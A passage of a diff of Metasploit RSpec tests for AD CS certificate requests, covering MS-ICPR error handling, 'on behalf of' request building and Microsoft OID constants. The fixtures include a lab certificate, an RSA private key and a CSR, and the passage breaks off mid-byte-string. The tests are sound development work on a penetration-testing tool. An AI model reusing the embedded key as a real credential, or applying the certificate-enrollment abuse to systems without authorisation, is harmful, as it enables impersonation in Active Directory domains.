expect(result).to respond_to(:to_der)
|
||||
it 'raises MsIcprNotFoundError' do
|
||||
expect { subject.request_certificate }.to raise_error(described_class::MsIcprNotFoundError)
|
||||
end
|
||||
|
||||
it 'should be correct' do
|
||||
expect(result.to_der).to eq(content_info.to_der)
|
||||
it 'includes a descriptive message' do
|
||||
expect { subject.request_certificate }.to raise_error(described_class::MsIcprNotFoundError, /AD CS was not found/i)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when passed a bad algorithm' do
|
||||
it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do
|
||||
expect {
|
||||
subject.send(:build_on_behalf_of, **{
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'MD4'
|
||||
})
|
||||
}.to raise_error(ArgumentError)
|
||||
context 'when connect_icpr raises UnexpectedStatusCode with a different status' do
|
||||
before do
|
||||
allow(subject).to receive(:connect_icpr).and_raise(
|
||||
RubySMB::Error::UnexpectedStatusCode.new(::WindowsError::NTStatus::STATUS_ACCESS_DENIED)
|
||||
)
|
||||
end
|
||||
|
||||
it 'raises a RuntimeError if the algorithm does not exist' do
|
||||
expect {
|
||||
subject.send(:build_on_behalf_of, **{
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'METASPLOIT'
|
||||
})
|
||||
}.to raise_error(RuntimeError)
|
||||
it 'raises MsIcprUnexpectedReplyError' do
|
||||
expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError)
|
||||
end
|
||||
|
||||
it 'includes the status name in the message' do
|
||||
expect { subject.request_certificate }.to raise_error(
|
||||
described_class::MsIcprUnexpectedReplyError, /STATUS_ACCESS_DENIED/
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when do_request_cert raises a FaultError' do
|
||||
before do
|
||||
allow(subject).to receive(:do_request_cert).and_raise(
|
||||
RubySMB::Dcerpc::Error::FaultError.new('fault error', status: 5)
|
||||
)
|
||||
end
|
||||
|
||||
it 'raises MsIcprUnexpectedReplyError' do
|
||||
expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError)
|
||||
end
|
||||
|
||||
it 'includes DCERPC fault in the message' do
|
||||
expect { subject.request_certificate }.to raise_error(
|
||||
described_class::MsIcprUnexpectedReplyError, /DCERPC fault/i
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when do_request_cert raises a DcerpcError' do
|
||||
before do
|
||||
allow(subject).to receive(:do_request_cert).and_raise(
|
||||
RubySMB::Dcerpc::Error::DcerpcError.new('generic dcerpc failure')
|
||||
)
|
||||
end
|
||||
|
||||
it 'raises MsIcprUnexpectedReplyError' do
|
||||
expect { subject.request_certificate }.to raise_error(described_class::MsIcprUnexpectedReplyError)
|
||||
end
|
||||
|
||||
it 'preserves the original error message' do
|
||||
expect { subject.request_certificate }.to raise_error(
|
||||
described_class::MsIcprUnexpectedReplyError, /generic dcerpc failure/
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,606 @@
|
||||
require 'rspec'
|
||||
require 'rex/proto/kerberos/model/pkinit'
|
||||
require 'rex/proto/x509/request'
|
||||
|
||||
RSpec.describe Rex::Proto::X509 do
|
||||
describe 'module constants' do
|
||||
it 'defines OID_NTDS_CA_SECURITY_EXT' do
|
||||
expect(described_class::OID_NTDS_CA_SECURITY_EXT).to eq('1.3.6.1.4.1.311.25.2')
|
||||
end
|
||||
|
||||
it 'defines OID_NTDS_OBJECTSID' do
|
||||
expect(described_class::OID_NTDS_OBJECTSID).to eq('1.3.6.1.4.1.311.25.2.1')
|
||||
end
|
||||
|
||||
it 'defines OID_NT_PRINCIPAL_NAME' do
|
||||
expect(described_class::OID_NT_PRINCIPAL_NAME).to eq('1.3.6.1.4.1.311.20.2.3')
|
||||
end
|
||||
|
||||
it 'defines OID_ENROLLMENT_NAME_VALUE_PAIR' do
|
||||
expect(described_class::OID_ENROLLMENT_NAME_VALUE_PAIR).to eq('1.3.6.1.4.1.311.13.2.1')
|
||||
end
|
||||
|
||||
it 'defines OID_APPLICATION_CERT_POLICIES' do
|
||||
expect(described_class::OID_APPLICATION_CERT_POLICIES).to eq('1.3.6.1.4.1.311.21.10')
|
||||
end
|
||||
|
||||
it 'defines SAN_URL_PREFIX' do
|
||||
expect(described_class::SAN_URL_PREFIX).to eq('tag:microsoft.com,2022-09-14:sid:')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
RSpec.describe Rex::Proto::X509::Request do
|
||||
include_context 'Msf::UIDriver'
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
subject do
|
||||
mod = ::Msf::Exploit.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize)
|
||||
mod
|
||||
end
|
||||
let(:pkcs12_certificate) do
|
||||
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
|
||||
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
|
||||
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
|
||||
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
|
||||
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
|
||||
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
|
||||
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
|
||||
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
|
||||
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
|
||||
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
|
||||
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
|
||||
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
|
||||
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
|
||||
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
|
||||
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
|
||||
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
|
||||
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
|
||||
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
|
||||
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
|
||||
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
|
||||
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
|
||||
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
|
||||
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
|
||||
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
|
||||
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
|
||||
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
|
||||
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
|
||||
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
|
||||
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
|
||||
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
|
||||
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
|
||||
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
|
||||
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
|
||||
MPqLl/D4OpKpcKz8
|
||||
-----END CERTIFICATE-----
|
||||
CERTIFICATE
|
||||
end
|
||||
|
||||
let(:pkcs12_key) do
|
||||
OpenSSL::PKey::RSA.new(<<~KEY)
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
|
||||
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
|
||||
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
|
||||
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
|
||||
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
|
||||
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
|
||||
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
|
||||
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
|
||||
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
|
||||
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
|
||||
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
|
||||
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
|
||||
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
|
||||
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
|
||||
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
|
||||
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
|
||||
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
|
||||
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
|
||||
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
|
||||
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
|
||||
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
|
||||
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
|
||||
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
|
||||
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
|
||||
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
KEY
|
||||
end
|
||||
|
||||
let(:x509_csr) do
|
||||
OpenSSL::X509::Request.new(<<~REQUEST)
|
||||
-----BEGIN CERTIFICATE REQUEST-----
|
||||
MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB
|
||||
BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV
|
||||
kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT
|
||||
mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU
|
||||
DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT
|
||||
uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL
|
||||
BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3
|
||||
DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/
|
||||
gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S
|
||||
b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD
|
||||
abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a
|
||||
x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y
|
||||
i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg
|
||||
-----END CERTIFICATE REQUEST-----
|
||||
REQUEST
|
||||
end
|
||||
|
||||
let(:content_info) do
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(
|
||||
"\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \
|
||||
"\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \
|
||||
"\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \
|
||||
"\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \
|
||||
"\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \
|
||||
"\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \
|
||||
"\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \
|
||||
"\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \
|
||||
"\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \
|
||||
"\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \
|
||||
"\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \
|
||||
"\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \
|
||||
"\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \
|
||||
"\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \
|
||||
"\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \
|
||||
"\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \
|
||||
"\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \
|
||||
"\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \
|
||||
"\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \
|
||||
"\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \
|
||||
"\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \
|
||||
"\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \
|
||||
"\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \
|
||||
"\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \
|
||||
"\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \
|
||||
"\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \
|
||||
"\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \
|
||||
"\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \
|
||||
"\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \
|
||||
"\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \
|
||||
"\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \
|
||||
"\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \
|
||||
"\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \
|
||||
"\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \
|
||||
"\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \
|
||||
"\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \
|
||||
"\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \
|
||||
"\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \
|
||||
"\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \
|
||||
"\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \
|
||||
"\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \
|
||||
"\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \
|
||||
"\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \
|
||||
"\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \
|
||||
"\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \
|
||||
"\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \
|
||||
"\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \
|
||||
"\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \
|
||||
"\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \
|
||||
"\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \
|
||||
"\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \
|
||||
"\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \
|
||||
"\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \
|
||||
"\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \
|
||||
"\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \
|
||||
"\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \
|
||||
"\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \
|
||||
"\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \
|
||||
"\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \
|
||||
"\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \
|
||||
"\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \
|
||||
"\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \
|
||||
"\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \
|
||||
"\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \
|
||||
"\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \
|
||||
"\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \
|
||||
"\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \
|
||||
"\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \
|
||||
"\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \
|
||||
"\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \
|
||||
"\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \
|
||||
"\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \
|
||||
"\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \
|
||||
"\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \
|
||||
"\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \
|
||||
"\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \
|
||||
"\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \
|
||||
"\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
|
||||
"\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \
|
||||
"\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \
|
||||
"\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \
|
||||
"\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \
|
||||
"\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \
|
||||
"\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \
|
||||
"\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \
|
||||
"\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \
|
||||
"\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \
|
||||
"\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \
|
||||
"\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \
|
||||
"\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
|
||||
"\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \
|
||||
"\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \
|
||||
"\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \
|
||||
"\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \
|
||||
"\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \
|
||||
"\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \
|
||||
"\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \
|
||||
"\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \
|
||||
"\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \
|
||||
"\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \
|
||||
